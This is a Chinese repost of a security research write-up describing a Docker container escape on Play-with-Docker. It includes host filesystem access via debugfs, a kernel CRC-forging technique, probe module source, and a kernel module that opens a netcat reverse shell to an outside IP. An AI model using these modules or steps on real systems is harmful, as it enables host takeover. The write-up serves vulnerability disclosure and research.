CYBERARK一篇关于实际的Docker逃逸文章。
https://www.cyberark.com/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host/
0x00 知己知彼 了解系统内核:
1 2 [node1] $ uname –a Linux node1 4.4.0-96-generic
通过uname指令能够获取宿主内核版本、架构、主机名和编译日期。
1 2 [node1] $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-96-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
通过/proc文件系统能够获取boot image信息、root UUID,UUID与宿主root硬盘相关,下一步是定位该UUID的设备:
1 2 [node1] $ findfs UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c /dev/sda1
可以尝试将其挂载,如果成功将能够接触到宿主文件系统:
1 2 3 [node1] $ mkdir /mnt1 [node1] $ mount /dev/sda1 /mnt1 mount: /mnt1: cannot mount /dev/sda1 read-only.
无法挂载,PWD可能通过AppArmor做了限制。 以下是我在本机上的实验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@6b1666dad69a:~ root@6b1666dad69a:~ BOOT_IMAGE=/boot/kernel console=ttyS0 console=ttyS1 page_poison=1 vsyscall=emulate panic=1 root=/dev/sr0 text root@6b1666dad69a:~ sr0 sr1 sr2 root@6b1666dad69a:~ mount: /dev/sr0 is write-protected, mounting read-only root@6b1666dad69a:~ root@6b1666dad69a:~/mnt EFI boot dev home lib mnt proc run sendtohost sys usr bin containers etc init media opt root sbin srv tmp var root@6b1666dad69a:~/mnt bin dev home lib32 libx32 mnt proc root sbin sys usr boot etc lib lib64 media opt pwn run srv tmp var root@6b1666dad69a:~/mnt
再进一步推进之前,研究一下debugfs,debugfs是ext2/3/4文件系统的一个交互式调试器,它可以读写指定的ext文件系统:
1 2 3 [node1 $ debugfs /dev/sda1 debugfs 1.44.2 (14-May-2018) debugfs:
我们已经在sda1上渗透了主机的根文件系统。通过使用标准的Linux命令,如cd和ls,可以更深入地了解主机的文件系统:
1 2 3 4 5 6 7 8 9 debugfs: ls 2 (12) . 2 (12) .. 11 (20) lost+found 12 (12) bin 181 (12) boot 193 (12) dev 282 (12) etc 2028 (12) home 6847 (20) initrd.img 2030 (12) lib 4214 (16) lib64 4216 (16) media 4217 (12) mnt 4218 (12) opt 4219 (12) proc 4220 (12) root 4223 (12) run 4226 (12) sbin 4451 (12) snap 4452 (12) srv 4453 (12) sys 4454 (12) tmp 4455 (12) usr 55481 (12) var 3695 (16) vmlinuz 3529 (12) .rnd 2684 (36) - 17685 (24) initrd.img.old 24035 (3696) vmlinuz.old
这似乎是主机的根目录结构,每个条目前面的数字是inode,如/etc对应inode 282。 有了这些信息,我们可以计划下一步:
计划A:
我们的主要目标是在宿主机上运行代码。为此我们可能会尝试加载一个Linux内核模块,该模块操纵内核来运行我们的代码。
要加载新的内核模块,我们通常需要使用完全相同的内核源代码、内核配置和工具集对内核模块源代码进行编译。我们无法在PWD内核上实现这一目标,因此我们转向计划B。
方案B:
计划B是使用已在目标内核上加载的模块来帮助我们构建自己的模块,该模块将可在PWD内核中加载。
有了目标模块后,我们需要编译并加载第一个“探测”内核模块,该模块将使用printk转储必要的信息,以加载第二个反向Shell模块。
在目标内核执行必要的代码以运行第二个模块,建立从PWD主机到我们的命令控制中心的反向shell。
0x01 第一阶段 借助debugfs应用程序,我们能够轻松浏览主机的文件系统。很快,我们发现了一个内核模块,该模块满足我们战术最低的要求:使用printk。
1 2 3 4 debugfs: cd /lib/modules debugfs: ls 3017 (12) . 2030 (48) .. 262485 (24) 4.4.0-96-generic 524603 (28) 4.4.0-137-generic 2055675 (3984) 4.4.0-138-generic
这是宿主/lib/modules目录结构的列表,该目录包含3个不同的内核版本,我们需要4.4.0-96-generic。
1 2 3 debugfs: cd 4.4.0-96-generic/kernel/fs/ceph debugfs: ls 1024182 (12) . 774089 (36) .. 1024183 (4048) ceph.ko
接下来,提取ceph.ko,该文件是ceph软件存储平台的内核模块,主机上使用printk功能的任何其他模块都可以满足我们的要求。
1 debugfs: dump <1024183> /tmp/ceph.ko
dump命令实际上是通过其inode将文件从要调试的文件系统(根文件系统)提取到容器本地的/ tmp目录中。
0x02 第二阶段 - 创建探针内核模块 一般而言,使用一个内核源代码编译的模块不会加载在使用另一源代码编译的内核上。 但是,对于相对简单的模块,可以在三种情况下将模块加载到其他内核上:
该模块正在使用内核的匹配版本。 Vermagic是一个字符串,用于标识在其上编译的内核的版本。
模块使用的每个函数调用或内核结构(Linux内核术语中的Symbol)在加载的时候都应向内核报告匹配的CRC。
模块的起始可重定位地址应与内核的编程地址一致。
我们最终目标是反向Shell,这可以使用特殊的内核函数call_usermodehelper()来完成,该函数用于从内核准备和启动用户模式应用程序。但是,要加载调用此功能的模块,我们必须具有此功能的目标内核的CRC。为了获得目标内核上的call_usermodehelper()函数的CRC,我们使用一个探测模块来完成该任务。
函数CRC
https://blog.csdn.net/linyt/article/details/42559639
基础概念 解决的问题:插入模块时,内核如何判断该模块引用的内核接口已发生变化(二进制不兼容),防止模块不经重新编译就插入内核,造成系统崩溃。
由于内核只需要检查模块调用的接口与当前内核提供的接口,在语法和语义是否完全一致(即二进制兼容),而不需要做接口的兼容,甚至保持ABI接口不变。
内核做法相对简单,只做两件事情:
判断内核版本是否一致,以及几个重要的配置选项情况是否相同(CONFIG_PREEMPT, CONFIG_SMP)
判断模块引用的导出模符号的CRC值,与当前内核该符号的CRC值是否相同
只有上述两个条件满足,才能说明模块不需要重新编译。
CRC很直观的理解就是签名或者哈希,哪怕有一丁点的变化,它都会跳出来告诉你,有变化了,接口不匹配,请重新呼叫编译器进行工作。那么什么情况下导出符号(EXPORT_SYMBOL)不兼容,即二进制不兼容?
二进制接口兼容要求保持两个不变:
遵守这个条件,说明如果模块在新内核下重新编译,那应该没有任何语法问题。即导出符号的类型名没有变化,如果是函数,则要求参数和返回值类型没有任何变化;如果这些类型是结构体的话,结构体的成员名也没有有任何变化。
这要求符号的类型不能有变化,如果类型本身是结构体(struct),则它成员的类型不能有变化,成员在结构体内的位置不能有变化,以及成员本身不能增删。
上述两点,背后朴素的道理就是:导出符号的签名不能有变化。
内核导出符号CRC生成规则 为了将关注的重点转移到CRC的计算结构,我们做下面的简单定义字符串的CRC计算结果:
H(<字符串>, crc0):=H(<子串1:末字符>, crc0) = partial_crc32_one(末字符, H(<子串1>, crc0))
这个递归定义太复杂了吧,直白地说,就是以crc0作为初值,对每个字符,都调用上述的partial_crc32_one,得到一个crc值,再将下个字符和该crc结果,调用partial_crc32_one,依次下去,直到字符串结束,得到的值就字符串的CRC值。
好了,有上述的约定,就可以计算每个符号的CRC值了。
类型
CRC值
int
H(“int”, 0xffffffff) ^ 0xffffffff
char
H(“char”, 0xffffffff) ^ 0xffffffff
long
H(“long”, 0xffffffff) ^ 0xfffffff
那么再复杂一点的unsigned int, unsigned long该如何计算,很简单,使用复合+偏序的计算结构,unsinged int的计算方法:
H(“unsigned”, 0xffffffff ) -> crc1
H(空白, crc1) -> crc2
H(“int”, crc2) - >crc3
crc3 ^ 0xfffffff -> 结果
为什么说是偏序呢?因此保持从左右到的计算结构,它的计算结构可以表示成:
0xffffffff -> “unsigned” -> 空白 -> “int” -> 0xffffffff
为了减少阅读的噪音,去掉空白、引号和0xffffffff,将这个表达结果简成下面这样:
unsigned -> int
如 struct foo {
int a;
int b;
};
它的crc计算方式很简单,它的计算结构为:
struct -> foo -> { -> int -> a -> ; -> int -> b -> ; -> }
所以:
语法属性:任保一个类型名,或者变量名发生变化,都会造成最终的CRC发生变化
语议属性:任何一个类型变化,或者结构成员出现位置调整,都会造成最终的CRC发生变化
导出符号CRC的定义,对于通用的导出函数,只有它的类型树结构稍有点风吹草动,它的CRC就会发生变化,依赖该函数的内核模块就得重编了。
事实上没有这么大的恐慌,一般内核bugfix是不会造成核心数据结构的变化(一般情况,但无绝对),因此无须太担心。 一般的bugfix只是增减代码,不会修改数据结构和函数签名。
要绕过CRC,如果确认参数兼容的话,那就把系统导出函数的CRC值,编辑进ko的CRC里面去。不是编译前,而是编译后,或者修改.mod.c,然后再手工生成ko。
其实参数名称发生变化,不影响调动,但根据表述的规则来看, CRC值却发生了变化。 比如: 内核导出一个函数 int fn1(int a,int b);但是模块中引入一个函数 int fn1(int x,int y); 也就是这上下两个函数是一样的,但CRC值却不同,本可以调用,现在却不能调用了。
Step 1 - Find the call_usermodehelper CRC Address on the Target Kernel 通过/proc/kallsyms获取符号地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [node1] $ cat /proc/kallsyms | grep call_usermod ffffffff81096840 T call_usermodehelper_exec ffffffff810969f0 t call_usermodehelper_exec_async ffffffff81096b40 t call_usermodehelper_exec_work ffffffff810970a0 T call_usermodehelper_setup ffffffff81097140 T call_usermodehelper ffffffff81d8a390 R __ksymtab_call_usermodehelper ffffffff81d8a3a0 R __ksymtab_call_usermodehelper_exec ffffffff81d8a3b0 R __ksymtab_call_usermodehelper_setup ffffffff81daa0e0 r __kcrctab_call_usermodehelper ffffffff81daa0e8 r __kcrctab_call_usermodehelper_exec ffffffff81daa0f0 r __kcrctab_call_usermodehelper_setup ffffffff81dbabf1 r __kstrtab_call_usermodehelper ffffffff81dbac05 r __kstrtab_call_usermodehelper_exec ffffffff81dbac1e r __kstrtab_call_usermodehelper_setup
**call_usermodehelper()**函数的CRC保存在0xffffffff81daa0e0,所以我们的探针模块需要获取该处的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <linux/module.h> /* Needed by all modules */ #include <linux/kernel.h> /* Needed for KERN_INFO */ #include <linux/init.h> /* Needed for the macros */ MODULE_LICENSE("GPL" ); MODULE_AUTHOR("CyberArk Labs" ); MODULE_DESCRIPTION("A simple probing LKM!" ); MODULE_VERSION("0.3" ); static int __init startprobing (void ) { int *crc1 = (int *)0xffffffff81daa0e0 ; int *crc2 = (int *)0xffffffff81dae898 ; printk(KERN_EMERG "Loading probing module...\n" ); printk(KERN_EMERG "CRC of call_UserModeHelper = 0x%x\n" , *crc1); printk(KERN_EMERG "CRC of printk = 0x%x\n" , *crc2); return 0 ; } static void __exit startprobing_end (void ) { printk(KERN_EMERG "Goodbye!\n" ); } module_init(startprobing); module_exit(startprobing_end);
Step 2 - Prepare a Makefile 准备Makefile:
1 2 3 4 5 obj-m = probing.o all: make -C /lib/modules/$(shell uname -r) /build/ M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r) /build M=$(PWD) clean
执行make:
1 2 3 4 5 6 7 $ make make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/simplemod modules make[1]: Entering directory '/root/debian/linux-4.17-rc2' CC [M] /root/cprojects/kernelmod/simplemod/probing.o Building modules, stage 2. MODPOST 1 modules read continue
在编译器生成的文件probing.mod.c之后以及将其与探测模块的代码链接之前,我们停止了编译过程。这是自动生成的文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 $ cat probing.mod.c MODULE_INFO(vermagic, VERMAGIC_STRING); MODULE_INFO(name, KBUILD_MODNAME); __visible struct module __this_module __attribute__((section(".gnu.linkonce.this_module" ))) = { .name = KBUILD_MODNAME, .init = init_module, .exit = cleanup_module, .arch = MODULE_ARCH_INIT, }; MODULE_INFO(retpoline, "Y" ); static const struct modversion_info ____versions[] __used __attribute__((section("__versions" ))) = { { 0x6cb06770, __VMLINUX_SYMBOL_STR(module_layout) }, { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) }, { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) }, }; static const char __module_depends[] __used __attribute__((section(".modinfo" ))) = "depends=" ;MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145" );
Step 3 - Edit Fields to Match the Target Kernel 我们需要替换vermagic(行6)和CRC(行26-28)来匹配目标内核,通过PWD的ceph.ko模块可以完成这个工作。我们通过modinfo从keph.ko提取内核版本和函数CRC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ modinfo ceph.ko filename: /root/cprojects/kernelmod/play-docker/ceph.ko license: GPL description: Ceph filesystem for Linux author: Patience Warnick <patience@newdream.net> author: Yehuda Sadeh <yehuda@hq.newdream.net> author: Sage Weil <sage@newdream.net> alias : fs-cephsrcversion: C985B22FADB19E9D06914CC depends: libceph,fscache intree: Y vermagic: 4.4.0-96-generic SMP mod_unload modversions signat: PKCS signer: sig_key: sig_hashalgo: md4
抄下vermagic字符串,注意它有一个尾随的空格也应复制。我们生成的头文件需要三个CRC:
1 module_layout, printk 和 __fentry__
通过modprobe可以获取:
1 2 3 4 5 6 0x27e1a049 printk 0xfc5ded98 module_layout 0xbdfb6dbb __fentry__
编辑probing.mod.c,修改vermagic和CRC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions " ); MODULE_INFO(name, KBUILD_MODNAME); __visible struct module __this_module __attribute__ ((section (".gnu .linkonce .this_module "))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; #ifdef RETPOLINE MODULE_INFO(retpoline, "Y" ); #endif static const struct modversion_info ____versions []__used __attribute__ ((section ("__versions "))) = { { 0xfc5ded98 , __VMLINUX_SYMBOL_STR(module_layout) }, { 0x27e1a049 , __VMLINUX_SYMBOL_STR(printk) }, { 0xbdfb6dbb , __VMLINUX_SYMBOL_STR(__fentry__) }, }; static const char __module_depends[]__used __attribute__((section(".modinfo" ))) = "depends=" ;MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145" );
注意到printk和__fentry__的CRC不变,意味着远程和本地一致。
Step 4 - Change init_module Offset 加载探测模块之前的最后一步是更改其init_module可重定位偏移量,检查PWD内核ceph.ko模块的ELF结构init_module偏移量:
1 2 3 4 5 6 7 $ readelf -a ceph.ko | less ... Relocation section '.rela.gnu.linkonce.this_module' at offset 0x8f580 contains 2 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000000180 052900000001 R_X86_64_64 0000000000000000 init_module + 0 000000000338 04e700000001 R_X86_64_64 0000000000000000 cleanup_module + 0 ...
init_module的偏移为0x180。接下来查看探针模块init_module的偏移:
1 2 3 4 5 6 7 $ readelf -a probing.ko | less ... Relocation section '.rela.gnu.linkonce.this_module' at offset 0x1bf18 contains 2 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000000178 002900000001 R_X86_64_64 0000000000000000 init_module + 0 000000000320 002700000001 R_X86_64_64 0000000000000000 cleanup_module + 0 ...
探测模块init_module偏移为0x178,需要对此进行更改,以便目标内核能够执行已安装模块的功能。要解决此问题,我们需要将probing.ko文件上地址0x1bf18的偏移量更改为0x180。 使用chngelf(作者自己的工具)进行修改:
1 $ chngelf probing.ko 0x1bf18 0x180
Step 5 - Load the ‘Probing’ Module to the Target Kernel 最后一步是将probing.ko模块转移到PWD容器,然后尝试将其加载到内核:
1 [node1] $ insmod probing.ko
如果加载成功不会有信息输出。接下来使用dmesg获取内核信息:
1 2 3 4 5 $ dmesg [1921106.716039] docker_gwbridge: port 67(veth4eff938) entered forwarding state [1921107.452064] Loading probing module... [1921107.456852] CRC of call_UserModeHelper = 0xc5fdef94 [1921107.464297] CRC of printk = 0x27e1a049
0x03 第三阶段 - 创建反向shell模块 对于反向shell,我们使用内核的函数**call_usermodehelper()**,该函数从内核准备并执行用户层应用程序。我们使用一个非常简单的模块:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include <linux/module.h> /* Needed by all modules */ #include <linux/kernel.h> /* Needed for KERN_INFO */ #include <linux/init.h> /* Needed for the macros */ #include <linux/sched/signal.h> #include <linux/nsproxy.h> #include <linux/proc_ns.h> MODULE_LICENSE("GPL" ); MODULE_AUTHOR("Nimrod Stoler" ); MODULE_DESCRIPTION("NS Escape LKM" ); MODULE_VERSION("0.1" ); static int __init escape_start (void ) { int rc; static char *envp[] = { "SHELL=/bin/bash" , "HOME=/home/cyberark" , "USER=cyberark" , "PATH=/home/cyberark/bin:/home/cyberark/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/cyberark" , "DISPLAY=:0" , "PWD=/home/cyberark" , NULL }; char *argv[] = {"/bin/busybox" , "nc" , "54.87.128.209" , "4444" , "-e" , "/bin/bash" , NULL }; rc = call_usermodehelper(argv[0 ], argv, envp, UMH_WAIT_PROC); printk("RC is: %i \n" , rc); return 0 ; } static void __exit escape_end (void ) { printk(KERN_EMERG "Goodbye!\n" ); } module_init(escape_start); module_exit(escape_end);
该模块调用busybox中的netcat,该busybox已经通过我们的命令安装在主机的文件系统上。 接下来,为nsescape代码创建一个Makefile并对其进行编译:
1 2 3 4 5 obj-m = nsescape.o all: make -C /lib/modules/$(shell uname -r) /build/ M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r) /build M=$(PWD) clean
执行make:
1 2 3 4 5 6 $ make make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/nsescape modules make[1]: Entering directory '/root/debian/linux-4.17-rc2' Building modules, stage 2. MODPOST 1 modules read continue
暂停make过程后,就像对探测模块所做的那样,编辑文件nsescape.mod.c以更改vermagic和CRC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions " ); MODULE_INFO(name, KBUILD_MODNAME); __visible struct module __this_module __attribute__ ((section (".gnu .linkonce .this_module "))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; #ifdef RETPOLINE MODULE_INFO(retpoline, "Y" ); #endif static const struct modversion_info ____versions []__used __attribute__ ((section ("__versions "))) = { { 0xfc5ded98 , __VMLINUX_SYMBOL_STR(module_layout) }, { 0xdb7305a1 , __VMLINUX_SYMBOL_STR(__stack_chk_fail) }, { 0x27e1a049 , __VMLINUX_SYMBOL_STR(printk) }, { 0xc5fdef94 , __VMLINUX_SYMBOL_STR(call_usermodehelper) }, { 0xbdfb6dbb , __VMLINUX_SYMBOL_STR(__fentry__) }, }; static const char __module_depends[]__used __attribute__((section(".modinfo" ))) = "depends=" ;MODULE_INFO(srcversion, "E4B73EA24DFD56CAEDF8C67" );
更改vermagic以匹配目标内核,并更改module_layout和call_usermodhelper的CRC以匹配我们从探测模块获得的数字。其他CRC(printk,__ fentry__和__stack_chk_fail)在两个内核之间没有改变。最后,就像使用探测模块一样,使用chngelf实用程序将输出文件中的init_module可重定位偏移量从0x178更改为0x180。 最本地运行监听程序:
远程主机:
1 [node1] $ insmod nsescape.ko